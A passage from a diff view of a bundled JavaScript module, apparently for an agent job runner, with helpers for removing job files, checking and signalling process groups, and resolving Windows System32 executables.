+
join2(paths.specs, `${id}.json`)
|
|
322
|
+
]) {
|
|
323
|
+
rmSync2(path, { force: true });
|
|
324
|
+
}
|
|
325
|
+
}
|
|
326
|
+
function removePersistentRunnerFiles(paths, id) {
|
|
327
|
+
for (const path of [join2(paths.controls, `${id}.json`), join2(paths.specs, `${id}.json`)]) {
|
|
328
|
+
rmSync2(path, { force: true });
|
|
329
|
+
}
|
|
330
|
+
}
|
|
331
|
+
|
|
332
|
+
// src/jobs/process-tree.ts
|
|
333
|
+
var GROUP_POLL_INTERVAL_MS = 25;
|
|
334
|
+
function signalTargetExists(target) {
|
|
335
|
+
try {
|
|
336
|
+
process.kill(target, 0);
|
|
337
|
+
return true;
|
|
338
|
+
} catch (error) {
|
|
339
|
+
return error.code === "EPERM";
|
|
340
|
+
}
|
|
341
|
+
}
|
|
342
|
+
function isProcessAlive(pid) {
|
|
343
|
+
return pid === void 0 ? false : signalTargetExists(pid);
|
|
344
|
+
}
|
|
345
|
+
function isProcessGroupAlive(pgid) {
|
|
346
|
+
if (pgid === void 0 || process.platform === "win32") return false;
|
|
347
|
+
return signalTargetExists(-pgid);
|
|
348
|
+
}
|
|
349
|
+
function signalProcessGroup(proc, pgid, signal) {
|
|
350
|
+
try {
|
|
351
|
+
process.kill(-pgid, signal);
|
|
352
|
+
} catch {
|
|
353
|
+
try {
|
|
354
|
+
proc?.kill(signal);
|
|
355
|
+
} catch {
|
|
356
|
+
}
|
|
357
|
+
}
|
|
358
|
+
}
|
|
359
|
+
async function waitForProcessGroupExit(pgid, timeoutMs, clock = systemClock) {
|
|
360
|
+
const deadline = clock.monotonicNowMs() + timeoutMs;
|
|
361
|
+
while (isProcessGroupAlive(pgid)) {
|
|
362
|
+
if (clock.monotonicNowMs() >= deadline) return false;
|
|
363
|
+
await new Promise((resolve2) => setTimeout(resolve2, GROUP_POLL_INTERVAL_MS));
|
|
364
|
+
}
|
|
365
|
+
return true;
|
|
366
|
+
}
|
|
367
|
+
|
|
368
|
+
// src/system32.ts
|
|
369
|
+
import { existsSync as existsSync3 } from "fs";
|
|
370
|
+
import { join as join3 } from "path";
|
|
371
|
+
function system32Executable(name, platform = process.platform, env = process.env) {
|
|
372
|
+
if (platform !== "win32") return name;
|
|
373
|
+
const fileName = name.toLowerCase().endsWith(".exe") ? name : `${name}.exe`;
|
|
374
|
+
const systemRoot = env.SystemRoot || env.windir || "C:\\Windows";
|
|
375
|
+
const targetPath = join3(systemRoot, "System32", fileName);
|
|
376
|
+
return existsSync3(targetPath) ? targetPath : name;
|
|
377
|
+
}
|
|
378
|
+
|
|
379
|
+
export {
|
|
380
|
+
findGitRoot,
|
|
381
|
+
repositoryHash,
|
|
382
|
+
createSyntheticSnapshot,
|
|
383
|
+
defaultWorktreeRoot,
|
|
384
|
+
createAgentWorktree,
|
|
385
|
+
removeAgentWorktree,
|
|
386
|
+
removeSnapshotRef,
|
|
387
|
+
checkoutAgentCommit,
|
|
388
|
+
commitAgentWork,
|
|
389
|
+
applyVerifiedCandidate,
|
|
390
|
+
persistentJobPaths,
|
|
391
|
+
ensurePersistentJobPaths,
|
|
392
|
+
writeJsonAtomic,
|
|
393
|
+
readJsonFile,
|
|
394
|
+
listPersistentStates,
|
|
395
|
+
removePersistentJobFiles,
|
|
396
|
+
removePersistentRunnerFiles,
|
|
397
|
+
isProcessAlive,
|
|
398
|
+
signalProcessGroup,
|
|
399
|
+
waitForProcessGroupExit,
|
|
400
|
+
system32Executable
|
|
401
|
+
};
|
|
402
|
+
//# sourceMappingURL=chunk-S4XL7HOM.js.map
|